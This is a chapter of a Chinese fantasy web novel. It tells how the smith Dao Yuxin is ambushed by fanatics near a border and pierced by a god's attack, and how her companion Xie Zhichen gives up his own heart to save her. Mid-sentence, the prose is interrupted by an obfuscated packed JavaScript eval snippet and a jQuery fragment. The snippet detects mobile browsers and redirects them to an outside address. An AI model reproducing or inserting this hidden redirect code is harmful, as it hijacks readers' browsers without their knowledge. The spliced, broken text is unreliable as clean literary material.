107. 第 107 章

作品:《锻造师她想输出

    在夕阳落下的时刻,刀语心和谢止沉披上神殿的圣洁长袍,朝北区走去。


    被神殿掌控的北区与其他四区有着本质的不同,从铺路的白玉石就看得出来这里的生活卓越。也只有北区这里他们没有见到属于狂信徒的血红长袍。


    没有过多停留,刀语心二人顺着道路径直去往城门,出示千渡给予的令牌。


    在大门看守的狂信徒看到上面有千渡的批准后就放行,他们虽然疯但并不是不明事理,他们很清楚得罪千渡,神殿很可能在之后不会对他们给予任何的帮助。


    更何况,神域周围还有更多的狂信徒活动。


    刀语心一直遥望着远处神域的位置,一片黑暗中,唯有那里拥有光明。她记得自己曾经在地图上看见过神域,是在残存区的正中心,远远望去圣洁而宏伟,仿佛所有美好宁静都置于其中。


    可那是所有灾难的源泉。


    对这二位看不清面容的人影,狂信徒挂起不达眼底的笑意:“大人,慢走不送。”


    没再多停留,收回通行令牌后刀语心就踏出城门,走向无尽的黑夜。从这里开始,他们便不能再使用本源之力了。


    她曾询问过谢止沉,神是真的那么无可战胜的吗?


    谢止沉不置可否。


    “祂从顶端世界而来,随心所欲地毁灭这个世界,从而用绝对的力量掌控。世界对祂来说是流放之地,也是祂的游乐场。”


    而祂不让半神阶以上的宝物和职业存在也有原因。


    “高等生灵有超乎常人的躯体强度,只有半神阶以上的武器能够伤害到他们,也只有神阶武器能够彻底将它们消灭。”


    这也是祂之所以杀死吴阿婆,盯上刀语心的最根本原因,祂害怕刀语心会将杀死祂的可能化作现实。


    “至少现在是不可战胜。”


    看向被逐渐被黑暗萦绕的前路,刀语心听着自己的心脏在胸腔中跳动,不好的预示在作响,但……她不会停歇。就算困难重重,她也会走上自己应行的道路。


    -距离边境最后二十公里


    残阳在坠入天际,平坦荒原上只有些许杂草沐浴着最后的日光。阴云一点点将日暮蚕食,于死寂的暗影中许多双血红的眼浮现,不约而同看向远处向他们走来的身影。


    “她来了。”


    阴冷的风吹散余温,还带来无止境的攻击。


    四散在各处的狂信徒在同一时间对刀语心展开攻势,没有什么排兵布阵和布局,对神明的狂热崇拜驱使着他们在此刻一致向外。


    被围剿的刀语心同样果决地向前奔去,甩开在身后不断纠缠的法术攻击。没给她太多时间,擅长近身战斗的其余狂信徒就朝她攻去。


    她本能地使用技能将对她有害的武器融化,又在围剿之中挑选出一支长枪将其夺走,为自己劈出前路。


    “不惜一切代价,把她留下!”


    -距离边境十公里


    除开漫无止境地远程攻击外,还有数个狂信徒一直在刀语心二人前方挡路,但她的速度没有丝毫减缓,挑起狂信徒的躯体将路障破开。


    不远处有人设下埋伏,在刀语心冲出去的瞬间,淡白的丝线向前窜去妄图将她缠住。


    那是亚空间的引线。


    感受到其中熟悉的波动后,谢止沉即刻调用从亚空间意识处得到的权限将其系数斩断。


    -距离边境最后五公里


    随着距离拉开,攻势稍有减缓,远处的敌人也需要转移阵地才能伤害到刀语心,最后的敌人只剩下身后尾随的一部分。


    邪魔域的边界近在咫尺,只差最后这一段距离。


    “小心!”


    霎时间,天光大亮。


    强烈到吞噬一切的光芒刺伤她的视线,刀语心很清楚,这不是太阳升起的时刻,太阳也不会发出如此刺眼的光亮。


    明明应当什么都看不到,她却在不属于自己的视角看见此刻的一切:远处的神域中闪烁微光,下一刻就在她头顶的夜空中撕开一道巨大裂口,她见到了一个白金色的长发人影于天空中浮现,她见到了神明。


    这是预知,可实在来得太不合时宜。


    一片茫茫之中,她想起了主教,这就是那份礼物,是主教对她最后的报复。


    “刀语心!”


    在一声惊呼传入耳的同一时刻,一股炽热至极的力量就将她的心脏贯穿。


    为什么。


    为什么。


    流逝的血液,变慢了。


    除开像是永不熄灭的灼热后,她并感受不到多大的痛苦,不受控的异化之力不再抑制,而是想要去填补刀语心空荡的胸腔。


    视线重新回归后,刀语心看到的是余光未散的天空,神的力量将天空的阴云驱散,反而让她看见亘古不变的月亮。


    她答应过裴瑛和绿绮她会回去,但似乎要食言了。


    她要死了。


    她就要死了。


    还有许下的承诺没有完成,还有需要锻造的东西没有锻造,可是她已经没有力气了。嘴角溢出鲜血,她看着月光,视线越来越模糊。


    “刀语心,刀语心!不要睡过去。”


    逐渐沉溺的意识却清晰感受到谢止沉的双手在颤抖,眼前被一片赤红覆盖,好似是他的眼睛,又好似是他在使用本源之力。


    她听见他在说:“我绝不会让你死去。”


    血,温热的血,但并不来自于她自身。


    赤红散去,刀语心体温回升,有了足够支撑身体的力量,模糊的视线重新聚焦,源源不断流淌的血从谢止沉胸腔处流出。


    他把自己的心脏交给了她。


    见刀语心看向自己,他露出一个安心的笑容,低声说道:“太好了。”


    “……为什么?”


    “因为……我不想让你死去。”他又一次展露笑颜,带着血迹眉眼稍弯,“这是我自私的愿望。”


    突如其来的一切已经让刀语心脑子里一片空白,谢止沉口中吐出鲜血,她机械地本能去扶住他逐渐失温的躯体。


    为什么总是要因为自己的存在牵连到其他的人?


    为什么她总是经历这些自己无能为力的灾难?


    为什么死去的人不是她?


    先前感受到的颤抖没有消失,此刻无助的人变成了她自己。谢止沉的生命力一直


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16374272|166192||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    流逝,越来越微薄,又一次咳出涌出的血液后,他有气无力说着最后的话语:


    “裴队长在等你回去,我也……会等你来找到我。”


    “这不会是永别。”


    他想要抬手去触碰刀语心但在未触及前就消散,一切化作飞灰之后,什么都没有留下。


    刀语心僵硬地保持着与先前别无二致的姿势,她不知道自己到底该怎么做,她不明白自己究竟要怎样才能避免这些该死的命运。


    “真感人啊。”


    随之而来的是又一道光失。


    异化之力将刀语心包裹,把攻击悉数抵消,而在其中,刀语心身上可怖的伤势正在逐步愈合。


    黑潮建起的屏障抵挡着无止无休的箭矢,恍惚中,她仿若又一次坠入漆黑无光的深海,只有刺入灵魂又无比熟悉的冷寂。潜藏在灵魂最初时刻的记忆在她脑海中闪回,最后,她听见海浪在翻涌。


    眼前闪过的光芒将刀语心的意识重新拉回现实,缓缓抬眼,她看见神明自高空中走入尘世,原先一同围攻的狂信徒此刻全都朝同一个方向,虔诚地跪倒在地。


    祂身上的洁白长袍被夜风吹拂,白金色的发色和金纹密布的瞳孔让祂如黑夜中的太阳一般,而祂脸上讥讽的笑容也如颜色一般刺目。


    祂是凶手。


    祂是一切的罪魁祸首。


    异化之力自阴影中暴起,无声尖啸着刺向“太阳”所在的方向。离得越近,阴影就不断拉伸,延长,勾勒出一场歇斯底里的疯狂。


    “垂死挣扎。”


    祂挥手,张牙舞爪的漆黑力量就即刻溃散,如同被太阳蒸腾的水汽一般消失得无影无踪。可再当祂的目光落在先前的位置时,那里已经空无一人。


    逃了吗?


    下一刻,祂视线后移反手展出一道屏障挡住攻击。刀语心无声无息来到祂的身后,出乎祂的意料,刀语心凝结出的力量穿透祂的壁障,直直洞穿祂的掌心。


    许久未感受过的疼痛反而让祂头一回认真打量起身为攻击者的刀语心。


    与那空无一物的深黑视线对视,祂扬起一个笑说:“有点意思。”


    随即,祂甩开刀语心,被穿透血洞已经复原。祂神色淡淡看向远处的人影,察觉到她身上的气息也开始变化,只需要再过不久,原初邪魔的心脏就会将她同化为“神明”。


    即便如此,身为征战无数世界的杀戮机器,祂有足够的自信在那之前将她了结。


    比起这些祂更关心:“能让旧日之主承受如此沉重的代价也是少见。”昔日承受万族围剿最终也是轻飘飘假死脱身。


    “你是他的同盟?”


    祂的问题没有得到任何回应。


    距离边境还有一片荒原,谢止沉留在刀语心胸腔中的心脏在跳动,她没打算主动寻死,只是她不觉得神会给她逃离的机会。


    先前致命的创伤已经在心脏带来的力量下痊愈,她的血肉在重新生长,异化之力在转化同根同源的本源之力。


    在无数繁杂的思绪中,她找不到自己的生路在何处。


    她只觉得,白色的光晕太过灼眼。


    “去死。”